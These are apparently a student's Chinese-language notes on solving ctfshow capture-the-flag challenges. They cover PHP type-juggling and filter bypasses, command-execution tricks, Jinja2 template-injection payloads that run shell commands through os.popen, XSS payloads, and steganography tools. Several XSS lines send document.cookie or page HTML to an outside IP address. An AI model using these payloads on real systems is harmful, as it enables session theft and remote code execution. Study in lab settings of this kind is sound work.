PHP特性
刷题整理…待补充
1
变量覆盖函数
1 | extract() |
读取变量
1 | get_defined_vars |
1 | ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配 |
异常处理类
1 | Exception |
1 | getchwd() 函数返回当前工作目录。 |
伪协议
1 | //支持伪协议 |
未解
1 | /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p |
1 | 在num加空格绕过is_numeric() |
2
1 | if(preg_match("/[0-9]/", $num)){ |
preg_match不匹配数组,传入num[]=1
1 | if($num==="4476"){ |
进制绕过 16进制,8进制,空格加八进制 小数点 科学计数法
php7以后传参的十六进制会解析为字符串 这里intval会强制转换
3
(26条消息) PHP正则表达式 /i, /s, /x,/u, /U, /A, /D, /S等模式修饰符_cjsyr_cjsyr的专栏-CSDN博客_php 正则u
1 | if(preg_match('/^php$/im', $a)){ |
/im 匹配多行 /i 匹配单行 传入a%0aphp %0a -> \n
4
md5查看博客MD5 – Staryのblog
sha1比较
1 | GET V2[]=1 |
5
1 | include("flag.php"); |
没关报错,用报错把flag爆出来
6
1 | for ($i=36; $i < 0x36d; $i++) { |
in_array弱比较??
14.php也可以。。。
7
先赋值再and
1 | $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); |
8
反射类ReflectionClass 类报告了一个类的有关信息。
1 | echo new Reflectionclass |
9
1 | hex2bin(5044383959474e6864434171594473)=PD89YGNhdCAqYDs |
ctfshow命令执行
搜索引擎http://helosec.com/
正则解释https://regexper.com/
web31
1 |
|
过滤
flag system php cat sort shell . 空格 ’
payload:?c=eval($_GET[1]);&1=system(“cat flag.php”);
官方wp show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse:以相反的元素顺序返回数组
scandir: 列出指定路径中的文件和目录
pos???
localeconv() 函数返回一包含本地数字及货币格式信息的数组。?????
web32
1 |
|
payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
include:利用文件包含
php伪协议:php://filter/read=convert.base64-encode/resource=flag.php 用base64编码读取文件
base64在线解码:https://base64.us/
官方wp:c=$nice=include$_GET[“url”]?>&url=php://filter/read=convert.base64 encode/resource=flag.php
?>代替分号
web33
1 |
|
过滤 “flag” “system” “php” “cat” “sort” “shell” “.” “ ” “’” “`” “echo” “;” “(” “””
payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
include:利用文件包含
php伪协议:php://filter/read=convert.base64-encode/resource=flag.php 用base64编码读取文件
base64在线解码:https://base64.us/
官方wp:c=?>=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
?><?干啥用?????
web34
1 |
|
payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
官方wp:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web35
。。。。。一模一样
web36
过滤数字把上面的1换成a
web 37
1 |
|
data伪协议
payload:?c=data://text/plain,
POST A=cat flag.php
官方wp:data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web38
过滤php
把
POST A=cat flag.php
web39
如上
hint:data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
web40
1 |
|
过滤的中文括号
读取当前文件夹文件:?c=print_r(scandir(pos(localeconv())));
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排列
next():函数将内部指针指向下一元素,并输出
官方wp:
show_source(next(array_reverse(scandir(pos(localeconv())))));
GXYCTF的禁止套娃 通过cookie获得参数进行命令执行
c=session_start();system(session_id());
passid=ls
web41
不会来个大佬教我!!!
web42
payload:c=ls;%0a也行||也行
;执行多个命令
web43
; cat 过滤
用%0a 和 tac 等等
web44
; cat flag过滤
用%0a 和 tac fla?.php fla*.php fl\ag.php等等
web45
过滤空格
echo$IFStac$IFS*
%0A
payload:/?c=tac${IFS}fla?.php%0a
system中 ${IFS}代替空格
web46 web47 web48 web 49 web50
tac|more|less|curl|nl|tail|sort|strings读取
过滤了$
%09代替
/?c=tac%09fla?.php%0a(web50过滤%09)
nl<fla’’g.php||(查看源码)
web51
过滤$,nl
用nl${IFS}fla’’g.php||
ctfshow ssti
361
猜测参数是name
1 | payload: |
执行任意命令
362
上面一个可以过
363
1 | {{request["__cl"+"a"+"ss__"].mro()[-1]['__subcla'+'sses__']()[182].__init__['__glob'+'als__']['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()}} |
363
过滤引号
1 | ?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.arg1](request.args.arg2).read()}}&arg1=popen&arg2=cat /flag |
364
过滤args
1 | ?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.x1](request.cookies.x2).read()}} |
365
过滤方括号
1 | ?name={{().__class__.__base__.__subclasses__().pop(132).__init__.__globals__.popen(request.cookies.arg2).read()}} |
366–367
1 | ?name={{(x|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5)}} |
1 | {{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}} |
368
1 | ?name={%print((x|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5))%} |
369
(89条消息) SSTI模板注入绕过(进阶篇)_羽的博客-CSDN博客_ssti绕过
1 | {% set a=(()|select|string|list).pop(24)%} |
ctfshow xss
基本
1 | <script> |
320
1 | <body/onload="window.open('http://47.106.248.56/123.php?1='+document.cookie)"> |
321
1 | <iframe/onload="window.open('http://47.106.248.56/123.php?1='+document.cookie)"></iframe> |
322
1 | <body/onload="window.open('http://47.106.248.56/123.php?1='+document.cookie)"> |
329
1 | <script>window.open('http://ip/php/123.php?1='+document.getElementsByTagName('html')[0].innerHTML</script> |
330
1 | var img = new Image(); |
331
1 | var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象 |
332
1 | <script src=http:********111.js></script> |
1 | $.ajax({ |
XMLHttpRequest—必知必会 - 简书 (jianshu.com)
xss其他标签下的js用法总结大全 - Hookjoy - 博客园 (cnblogs.com)
Ctfshow Misc
作者 STARY
所用工具 binwalk foremost exiftool bpgviewer tweakpng zsteg
1
直接给了
2
打开txt文件一堆乱码
搜索flag未果
改文件格式为.jpg得到flag
010查看文件头png。。。没差
3
用bpgviewer打开
4
改后缀拼起来就是
5
010打开在最后几行
6
010打开找的到
7
010搜素ctfshow
8
binwalk和foremost分离得到图片flag
CTF中图片隐藏文件分离方法总结 – 夹心果果 – 博客园 (cnblogs.com)
9
010搜索
10
binwalk分解得到文件
打开就是
11
tweakpng删除第一个IDAT块得到新图片
IDAT?
12
删IDAT块。。有什么讲究吗
13
这地方像flag
每两中间有个多余的
python删掉发现flag不对
看了wp发现16进制的不一样。。。。。wtm??
14
binwalk查看
手动分离jpg
分离方法总结 – 夹心果果 – 博客园 (cnblogs.com)
15
010打开
16
binwalk分离,flag在DD4这个文件里,具体原理还不清楚
17
看wp 需要先用zsteg提取数据,然后再用binwalk分离,最后得到一张png即为flag
zsteg 17.png
zsteg -E ‘extradata:0’ misc17.png > 17.tmp
binwalk 17.png -e
(27条消息) 隐写工具zsteg安装和使用方法_丶没胡子的猫-CSDN博客_zsteg安装
18
拼接一下
用exiftool工具读
19
用exiftool工具读
20
exif
西替爱抚秀大括号西九七九六四必一诶易西爱抚零六易一弟七九西二一弟弟诶弟五九三易四二大括号